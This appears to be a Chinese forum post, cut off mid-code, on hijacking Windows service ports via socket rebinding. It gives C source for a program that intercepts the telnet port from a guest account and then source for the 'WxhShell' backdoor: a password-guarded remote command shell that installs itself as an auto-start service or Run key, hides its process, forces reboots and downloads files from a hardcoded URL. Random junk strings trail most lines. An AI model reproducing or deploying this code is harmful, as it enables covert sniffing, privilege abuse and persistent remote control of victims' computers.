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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: tvG g@Xs\  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); MYKs??]Y1  
"h^A]t;qe  
  saddr.sin_family = AF_INET; ,ZsYXW  
Vf@S8H  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); IS3e|o*]MP  
"TEBByO'  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); W9:fKP  
JS }_q1H  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 @2)t#~Wc4h  
i7Y s_8A"9  
  这意味着什么?意味着可以进行如下的攻击: BXagSenc  
gK&5HTo  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 %g2/ o^c*  
GGYX!=]~  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) r3*+8 D~a_  
@2-Hj~  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 s|fCR  
jAD+:@  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  S.zg&   
,<R>Hiwg/s  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 WRN8#b  
WsG"x>1n  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 7-g]A2N  
Uqb]e?@  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 u&hDjE  
9Ba%=  
  #include F(?Fz8  
  #include [,.[gWA  
  #include Vu_7uSp,)  
  #include    My'9S2Y8nv  
  DWORD WINAPI ClientThread(LPVOID lpParam);   v9X7-GJ~  
  int main() `</=AY>  
  { C}dKbs^g|  
  WORD wVersionRequested; <(u3+`f1s  
  DWORD ret; G_4K+ -K  
  WSADATA wsaData; #"3[f@|e  
  BOOL val; a>;3 j  
  SOCKADDR_IN saddr; +xoyKP!  
  SOCKADDR_IN scaddr; 1Xk{(G<\  
  int err; c+)36/; X  
  SOCKET s; kMfc"JXF  
  SOCKET sc; FF~on06!   
  int caddsize; OX#eLco  
  HANDLE mt; M6o xtt4  
  DWORD tid;   4eDmLC"Y *  
  wVersionRequested = MAKEWORD( 2, 2 ); = !I8vQ>  
  err = WSAStartup( wVersionRequested, &wsaData ); hlSB7D"d  
  if ( err != 0 ) { (r#5O9|S  
  printf("error!WSAStartup failed!\n"); >x|A7iWn{,  
  return -1; r_!{!i3B  
  } LLXg  
  saddr.sin_family = AF_INET; I{*.htt{  
   tkm~KLWV&7  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 +R{A'Yl[(  
yH0yO*R Z  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); E.zYi7YUKK  
  saddr.sin_port = htons(23); XZUB*P}]D  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) d=xI   
  { ;L\!g%a  
  printf("error!socket failed!\n"); {Oc?C:aI=  
  return -1; T_5*iwI  
  } mM\!4Yi`7  
  val = TRUE; >uP{9kDm  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 |g: '')>[  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) !.tL"U~4  
  { &"~,V6,q  
  printf("error!setsockopt failed!\n"); [FeJ8P>z  
  return -1; mlsvP%[f.  
  } gavQb3EP  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; p3,(*eZ  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 di)noQXkB-  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 L:k@BCQM  
EDP I*@>  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) x0AqhT5}  
  { O|^6UH  
  ret=GetLastError(); FEm1^X#]  
  printf("error!bind failed!\n"); >h/)r6  
  return -1; _^ CQ*+F  
  } <.?^LT  
  listen(s,2); z Et6  
  while(1) F| ,Vw{  
  { ;ZE<6;#3IP  
  caddsize = sizeof(scaddr); ^G7n#  
  //接受连接请求 Rpa A)R,  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); $@ T6g  
  if(sc!=INVALID_SOCKET) qw Kh,[]  
  { gOES2 4$2  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); g#9*bF  
  if(mt==NULL) ?=|) n%  
  { fxtYo,;$  
  printf("Thread Creat Failed!\n"); @'NaA SB  
  break; =oKPMmpCZ  
  } <Vr] 2mw  
  } Hm8EYPr J  
  CloseHandle(mt); Gr"2G,,VI  
  } ]ukj]m/@  
  closesocket(s); tswG"1R  
  WSACleanup(); iC5JU&l  
  return 0; t<EX#_i,  
  }   EkgN6S`}  
  DWORD WINAPI ClientThread(LPVOID lpParam) +^]PBMM1w  
  { U(Hq4D  
  SOCKET ss = (SOCKET)lpParam; }~Kyw7?  
  SOCKET sc; b/D9P~cE  
  unsigned char buf[4096]; 4<eJ  
  SOCKADDR_IN saddr; zYgK$u^H  
  long num; Is*0?9qU  
  DWORD val; ;03*qOYc  
  DWORD ret; ]mJAKycE%  
  //如果是隐藏端口应用的话,可以在此处加一些判断 8en#PH }  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   6wvhvMkS  
  saddr.sin_family = AF_INET; ,uqbS  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); +=29y@c  
  saddr.sin_port = htons(23); Tr}$Pb1  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) NNREt:+kr  
  { g^<q L|  
  printf("error!socket failed!\n"); ke;*uS  
  return -1; *{D:1S  
  } !tFU9Zt  
  val = 100; V"Y Fu^L  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) \PtC  
  { XR=c 8f  
  ret = GetLastError(); E6wST@ r  
  return -1; C}DG'z9  
  } v,x%^gv0  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ~M9 n<kmE  
  { >aanLLO  
  ret = GetLastError(); Spr:K,  
  return -1; exrt|A] _[  
  } iw]B QjK  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) ;6 &=]I  
  { Lh9>8@ jf  
  printf("error!socket connect failed!\n"); IG3K Pmu  
  closesocket(sc); q NQ3(1xW  
  closesocket(ss); ,ex(pmZ;  
  return -1; 2zrWR%B  
  } VkP:%-*#v  
  while(1) X m:gD6;9  
  { Iy1X nS*  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 C_khd"  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 @*`UOgP7  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 |{|r? 3  
  num = recv(ss,buf,4096,0); G]3ML)l  
  if(num>0) ^$s~qQQ}B  
  send(sc,buf,num,0); Iz$W3#hi  
  else if(num==0) 51(`wo>LS  
  break; B6!<@* BI  
  num = recv(sc,buf,4096,0); IkXKt8`YVA  
  if(num>0) |EEz>ci  
  send(ss,buf,num,0); F*jj cUk  
  else if(num==0) '>WuukC  
  break; YvP"W/5  
  } Qmc;s{-r;  
  closesocket(ss); .Mft+,"  
  closesocket(sc); X=c ,`&^  
  return 0 ; m=y,_Pz>U  
  } T[$hYe8%^  
$^+KR]\q  
z?) RF[  
========================================================== v.^ 'x  
$X\` 7`v  
下边附上一个代码,,WXhSHELL &u`rE""  
#?|1~HC  
========================================================== @aPu}Hi  
2Q_{2(nQb  
#include "stdafx.h" ws(}K+y_  
+nyN+X34B  
#include <stdio.h> ][K8\  
#include <string.h> &8YI)G%  
#include <windows.h> ; dHOH\,:  
#include <winsock2.h> VEYKrZA  
#include <winsvc.h> uB&I56  
#include <urlmon.h> cS;=_%~  
&/#Tk>:  
#pragma comment (lib, "Ws2_32.lib") lo;9sTUHT  
#pragma comment (lib, "urlmon.lib") @f01xh=8  
u9~V2>r\  
#define MAX_USER   100 // 最大客户端连接数 xbH!:R;  
#define BUF_SOCK   200 // sock buffer $8ww]}K  
#define KEY_BUFF   255 // 输入 buffer E$yf2Q~k  
k49n9EX  
#define REBOOT     0   // 重启 xA1pDrfC/  
#define SHUTDOWN   1   // 关机 g8qAJ4  
]=XL9MI  
#define DEF_PORT   5000 // 监听端口 @_:?N(%(  
(a4y1k t-  
#define REG_LEN     16   // 注册表键长度 J3}C T  
#define SVC_LEN     80   // NT服务名长度 yD id` ym  
X1PlW8pd  
// 从dll定义API ~Wd8>a{w  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); hD.wKX?oO  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ?j$8Uy$$  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ump:dL5{  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 8\t7}8f  
M #Ru I%  
// wxhshell配置信息  ~9jP++&  
struct WSCFG { R#^pNJN  
  int ws_port;         // 监听端口 $A0]v!P~i-  
  char ws_passstr[REG_LEN]; // 口令 yT9RNo/w  
  int ws_autoins;       // 安装标记, 1=yes 0=no GN"LU>9|  
  char ws_regname[REG_LEN]; // 注册表键名 ?@BaBU:o`F  
  char ws_svcname[REG_LEN]; // 服务名 FHPZQC8  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 BCDf9]X  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ]qG5 Ne _  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 n~cm?"  
int ws_downexe;       // 下载执行标记, 1=yes 0=no <yaw9k+P  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" IG@&l0ARL  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 0_Z|y/I.  
iP\&fZY_  
}; I8wVvs;k  
E6\~/=X=%  
// default Wxhshell configuration ^9~%=k=  
struct WSCFG wscfg={DEF_PORT, @9P9U`ZP  
    "xuhuanlingzhe", )s[S.`S Tz  
    1, ] Lft^,7  
    "Wxhshell", y/*Tvb #TJ  
    "Wxhshell", =@/^1.`  
            "WxhShell Service", T7nX8{l[RG  
    "Wrsky Windows CmdShell Service", u\Q**m2XP  
    "Please Input Your Password: ", PsT v\!  
  1, DMpd(ws  
  "http://www.wrsky.com/wxhshell.exe", C^v -&*v  
  "Wxhshell.exe" _; RD-kv  
    }; o:\j/+]  
`D4'`Or-U  
// 消息定义模块 mP+yjRw  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; d'nuk#r  
char *msg_ws_prompt="\n\r? for help\n\r#>"; n& &U9sf?  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; X(q=,^Mp  
char *msg_ws_ext="\n\rExit."; ~a,'  
char *msg_ws_end="\n\rQuit."; W 9MZ  
char *msg_ws_boot="\n\rReboot..."; }n8;A;axi  
char *msg_ws_poff="\n\rShutdown..."; 4gt "dfy+  
char *msg_ws_down="\n\rSave to "; zC;lfy{f=  
e[o ;l  
char *msg_ws_err="\n\rErr!"; &8L\FAY0%9  
char *msg_ws_ok="\n\rOK!"; 9rc n*sm  
j@\/]oL^We  
char ExeFile[MAX_PATH]; Gl:T  
int nUser = 0; hds4 _  
HANDLE handles[MAX_USER]; eTHh  
int OsIsNt; l+qtA~V&2  
P&,cCR>  
SERVICE_STATUS       serviceStatus; V!tBipX%  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; #$T"QL@  
8ngf(#_{_n  
// 函数声明 m*,[1oeG&  
int Install(void); 4?uG> ;V  
int Uninstall(void); wA&)y>n-  
int DownloadFile(char *sURL, SOCKET wsh); Y\S^DJy  
int Boot(int flag); iFchD\E*o  
void HideProc(void); ()JDjzQT  
int GetOsVer(void); k}qiIMdI  
int Wxhshell(SOCKET wsl); QP0X8%+p  
void TalkWithClient(void *cs); HaUo+,=  
int CmdShell(SOCKET sock); 5ml}TSMu'  
int StartFromService(void); nOzT Hg8  
int StartWxhshell(LPSTR lpCmdLine); [)c|oh%  
84cH|j`w  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); =i %w_ e  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); p[:%Ck"$7  
ZJM^P'r.1c  
// 数据结构和表定义 BVeNK=7m%  
SERVICE_TABLE_ENTRY DispatchTable[] = }-iOYSn  
{ kfECC&"  
{wscfg.ws_svcname, NTServiceMain}, f_Bf}2Eedj  
{NULL, NULL} '~a$f;: Dv  
}; 2 ZXF_ o  
"b7C0NE  
// 自我安装 {Oszq(A  
int Install(void) >:|q J$J.  
{ Q(7l<z  
  char svExeFile[MAX_PATH]; xK'IsMo[  
  HKEY key; 2a-hf|b1  
  strcpy(svExeFile,ExeFile); 5aQg^f%\  
k]YGD  
// 如果是win9x系统,修改注册表设为自启动 8"^TWzg}L  
if(!OsIsNt) { c17==S  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { w+P^c|  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); yBKlp08J  
  RegCloseKey(key);  I ^92b  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ^2@~AD`&h  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); (Ad! hyE(  
  RegCloseKey(key); _.LWc^Sg  
  return 0; z|H>jit+  
    } N Q=YTRU  
  } &|] ^ u/  
} ^q2zqC  
else { ywte \}  
A[a+,TN {  
// 如果是NT以上系统,安装为系统服务 pBLO  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ??Ac=K\  
if (schSCManager!=0) 7^5BnF@  
{ ;O>fy :$'  
  SC_HANDLE schService = CreateService lNAHn<ht  
  ( gu&oCT  
  schSCManager, ij5YV3  
  wscfg.ws_svcname, A>yIH)b  
  wscfg.ws_svcdisp, OSk9Eb4ld  
  SERVICE_ALL_ACCESS, h (2k;M^s  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , `;@4f |N9  
  SERVICE_AUTO_START, )FPbE^s(  
  SERVICE_ERROR_NORMAL, m,O !M t  
  svExeFile, s ~G{-)*  
  NULL, k =_@1b-  
  NULL, DcHMiiVM  
  NULL, z& jDOex  
  NULL, \$"Xr  
  NULL H)tDfk sq\  
  ); 8?XZF[D  
  if (schService!=0) X.<R['U&\  
  { l[k$O$jo  
  CloseServiceHandle(schService);  qI@_  
  CloseServiceHandle(schSCManager); q#Vf2U55m  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); O!tD1^O!1}  
  strcat(svExeFile,wscfg.ws_svcname); 2O/_hv.  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { W9"I++~f  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); *6tN o-)^  
  RegCloseKey(key); ak [)+_k_  
  return 0; TVA1FD  
    } O6]~5&8U.  
  } gG>>ynn  
  CloseServiceHandle(schSCManager); = ;d<Ikj  
} L4b4X  
} (z7#KJ1+Aw  
Xg,BK0O  
return 1; :_*Q IyW  
} M='Kjc>e  
`m^OnH  
// 自我卸载 v'tk: Hm1  
int Uninstall(void) (P-<9y@  
{ K2 2Xo<3  
  HKEY key; _(foJRr  
-f=hL7NW  
if(!OsIsNt) { /jD'o>  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { $(U|JR@  
  RegDeleteValue(key,wscfg.ws_regname); 9j`-fs@:  
  RegCloseKey(key); mZyTo/\0  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { .EO1{2=  
  RegDeleteValue(key,wscfg.ws_regname); L8ke*O$  
  RegCloseKey(key); PQ>JoRs  
  return 0; $'q(Z@  
  } nCU4a1rZ  
} cx}-tj"m-  
} \ 714Pyy  
else { *b EsWeP  
r;z A `  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); "RLb wm~  
if (schSCManager!=0) >Fz$DKr[  
{ HV@:!zM  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); intf%T5#  
  if (schService!=0) "T|\  
  { ;H lv  
  if(DeleteService(schService)!=0) { O [/~V=  
  CloseServiceHandle(schService); b3+PC$z2h  
  CloseServiceHandle(schSCManager); S6]':  
  return 0; tS$Ne7yk e  
  } )Yml'?V"  
  CloseServiceHandle(schService); ?}[keSEh>  
  } VM[8w`  
  CloseServiceHandle(schSCManager); @d\F; o<  
} "|if<hx+  
} 3nO|A: t  
n>WS@b/o  
return 1; XJ;/ kR  
} 00i9yC8@6  
(agdgy:#  
// 从指定url下载文件 Xc!w y9m  
int DownloadFile(char *sURL, SOCKET wsh) 3>+;G4  
{ mX89^  
  HRESULT hr; fvD wg  
char seps[]= "/"; :9}*p@  
char *token; 7nmo p7  
char *file; z( wXs&z;  
char myURL[MAX_PATH]; {/ta1&xyG  
char myFILE[MAX_PATH]; '' 6  
4rm/+Zes  
strcpy(myURL,sURL); cu-WY8n  
  token=strtok(myURL,seps); Ty=}A MMyE  
  while(token!=NULL) kbY@Y,:w  
  { gA6C(##0  
    file=token; 5 S 1m&s5k  
  token=strtok(NULL,seps);  <CFu r  
  } $dR%8@.H  
XebCl{HHp  
GetCurrentDirectory(MAX_PATH,myFILE); uT1x\Rt|e  
strcat(myFILE, "\\"); {% P;O ?  
strcat(myFILE, file); YdFCYSiS  
  send(wsh,myFILE,strlen(myFILE),0); z2V!u\It  
send(wsh,"...",3,0); D)5wGp  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); VI?[8@*Z  
  if(hr==S_OK) "q$M\jK#V  
return 0; {-xnBx  
else zF PSk ]  
return 1; $IHa]9 {  
{#vo^& B  
} SZ_hGD0  
AF@C9s  
// 系统电源模块 _PIk,!<  
int Boot(int flag) d1-QkW^0y  
{ b}fH$.V@  
  HANDLE hToken; +"!IVHY  
  TOKEN_PRIVILEGES tkp; =F9-,"EAI  
x-1[2K1"[  
  if(OsIsNt) { <x/&Ml+  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ,f$ RE6  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); @:63OLlrG  
    tkp.PrivilegeCount = 1; >9 iv>  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; KvQ9R!V  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); du !.j  
if(flag==REBOOT) { "jSn`  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) MYjCxy-;A  
  return 0; (~jOtUyT  
} PJ'l:IU  
else { CV k8MA  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) B4hR3%  
  return 0; b#sO1MXv  
}  ZM"t.  
  } :z[SI{Y  
  else { <%5ny!]  
if(flag==REBOOT) { \?j(U8mB>  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) *d=pK*g  
  return 0; @c.pOX[]m,  
} %vW@_A~  
else { VD4(  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) x-[l`k.V  
  return 0; M-n +3E9  
} 8g3 6-8  
} gY%-0@g  
,-):&V:jF  
return 1; u URf  
} Pu=YQ #F'  
J? C"be=  
// win9x进程隐藏模块 FGC[yz1g:  
void HideProc(void) Ae"B]Cxb_X  
{ ]]+"`t,-  
avQwbAh[  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); R8HFyP  
  if ( hKernel != NULL ) 8qT/1b  
  { ;yr 'K  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); "zugnim  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); zQ6otDZx  
    FreeLibrary(hKernel); %NvY~,  
  } BwR)--75  
IMj{n.y4  
return; ;*8$BuD  
} i]P]o)  
Yv>% 5`  
// 获取操作系统版本 =dPrG=A   
int GetOsVer(void) +S$x}b'5q  
{ ]c08`  
  OSVERSIONINFO winfo; zJPzI{-w|  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); \QVL%,.%M  
  GetVersionEx(&winfo); 8{AzB8xp  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 'Ag?#vB  
  return 1; G=DRz F  
  else 8IO4>CMkv  
  return 0; "_lSw3  
} ?Pa5skqR  
I'JFt>]  
// 客户端句柄模块 ,a}+Jj{  
int Wxhshell(SOCKET wsl) uKK+V6}!kj  
{ ct`89~"  
  SOCKET wsh; =m UtBD.;  
  struct sockaddr_in client; A," u~6Bn  
  DWORD myID; cY5h6+_  
<%! EI@N  
  while(nUser<MAX_USER) {Wt=NI?Ow  
{ 7"1M3P5*8  
  int nSize=sizeof(client); gkDB8,C<j  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); f|u!?NGl  
  if(wsh==INVALID_SOCKET) return 1; >mz<=n  
HZ/e^"cpM  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); KrB"2e+J  
if(handles[nUser]==0) 3{CXIS  
  closesocket(wsh); p~qdkA<  
else MFRM M%`  
  nUser++; }}<^f M  
  } H8X{!/,^  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); WOh?/F[@u  
L^dF )y?  
  return 0; Y-v6xUc{F  
} `2G 0B@  
b}WU  
// 关闭 socket @u?m4v{  
void CloseIt(SOCKET wsh) R,8;GS42  
{ +Y-Gp4"  
closesocket(wsh); RK< uAiU  
nUser--; >HyZ~M  
ExitThread(0); W;Ct[Y 8m  
} O|d"0P  
;tlvf?0!  
// 客户端请求句柄 ^tI ,eZ  
void TalkWithClient(void *cs) `Ps&N^[  
{ ?|kwYA$4o  
c1Skt  
  SOCKET wsh=(SOCKET)cs; =nG g k}Z  
  char pwd[SVC_LEN]; K9]L>Wj  
  char cmd[KEY_BUFF]; ",Mr+;;:[  
char chr[1]; FG/1!8F  
int i,j; ka0MuQ M  
!Wgi[VB  
  while (nUser < MAX_USER) { !ap}+_IA7^  
Ejmpg_kux  
if(wscfg.ws_passstr) { ]De<'x}  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); XkDIP4v%  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); I|(r1.[K  
  //ZeroMemory(pwd,KEY_BUFF); {{qu:(_g  
      i=0; p C^d-Ii  
  while(i<SVC_LEN) { MaN6bM  
3s;^p,9 Y  
  // 设置超时 n&1q*  
  fd_set FdRead; NYw>Z>TD8c  
  struct timeval TimeOut; :<hM@>eFn  
  FD_ZERO(&FdRead); #A\@)wJ  
  FD_SET(wsh,&FdRead); k..AP<hH  
  TimeOut.tv_sec=8; }20~5!  
  TimeOut.tv_usec=0; uVN2}3!)Y  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); kntYj}F(  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); W[/Txc0$  
qz95)  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 0~4Ww=#  
  pwd=chr[0]; E6XDn`:  
  if(chr[0]==0xd || chr[0]==0xa) { k'QI`@l&l  
  pwd=0; @q]4]U)  
  break; nvbzCtC  
  } jl9hFubwW  
  i++; SMo nJ;Y  
    } AT%6K.  
$+w:W85B  
  // 如果是非法用户,关闭 socket 41g "7Mk  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); CVE(N/&b  
} bI+/0X x  
&n9&k Em  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); "zj[v1K9-A  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); T[Lz4;TRk5  
V_zU?}lZ^  
while(1) { V/`vX;%  
s@zO`uBc  
  ZeroMemory(cmd,KEY_BUFF); (1 (~r"4I  
Uo?4o*}  
      // 自动支持客户端 telnet标准   qF\w#nG  
  j=0; :CLWmMC_  
  while(j<KEY_BUFF) { bb  M^J  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); dIW@L  
  cmd[j]=chr[0]; Q p7h|<  
  if(chr[0]==0xa || chr[0]==0xd) { 1J([*)  
  cmd[j]=0; =WT&unw}  
  break; \#4mPk_"  
  } fqjBor}  
  j++; F42<9)I  
    } CFC15/yU  
)pSA|Qt N  
  // 下载文件 t W+"/<U  
  if(strstr(cmd,"http://")) { \HXq~Y  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); zZ6m`]{B9?  
  if(DownloadFile(cmd,wsh)) 4_kY^"*#"  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); }ZK%@b>  
  else ,~q:rh+  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); eR%\_;}7;  
  } Qk? WX (`B  
  else { yIhPB8QL  
s]]lB018O\  
    switch(cmd[0]) { ;4l8Qg 7  
  )r^vrCNy>  
  // 帮助 BmKf%:l}  
  case '?': { P -NR]f  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); VCfHm"'E8  
    break; -0UR%R7q  
  } >"8;8Ev  
  // 安装 :s6aFiz  
  case 'i': { A 0v=7 ]  
    if(Install())  9u^M{6  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); )X?oBNsj  
    else FRuPv6  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); f"RC(("6W  
    break; yX4 Vv{g  
    } 58XZ]Mc0  
  // 卸载 " i:[|7  
  case 'r': { q>Di|5<y  
    if(Uninstall()) NB1KsvD{  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1Y87_o'd  
    else u?" ="-^  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); e8rZP(g&g  
    break; <pfl>Uf  
    } +: x[cK  
  // 显示 wxhshell 所在路径 EjL]#,QR  
  case 'p': { [0EWIdT*b  
    char svExeFile[MAX_PATH]; =* G3Khz!  
    strcpy(svExeFile,"\n\r"); udu<Nis4  
      strcat(svExeFile,ExeFile); 7mq&]4-G  
        send(wsh,svExeFile,strlen(svExeFile),0); m^!:n$  
    break; 4j~q,# $LW  
    } LD ]-IX&L  
  // 重启 N"}>);r  
  case 'b': { 9 wZ?")2  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); @4hzNi+  
    if(Boot(REBOOT)) g'KxjjYT,  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ffG<hclk  
    else { PJiU2Y33  
    closesocket(wsh); o`QNZN7/}  
    ExitThread(0); 4^uSW&`;/  
    } E{EO9EI  
    break; KJRAW]?{  
    } & ?xR  
  // 关机 Gsv<Rjj:  
  case 'd': { qmFG  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); kL%ot<rt)w  
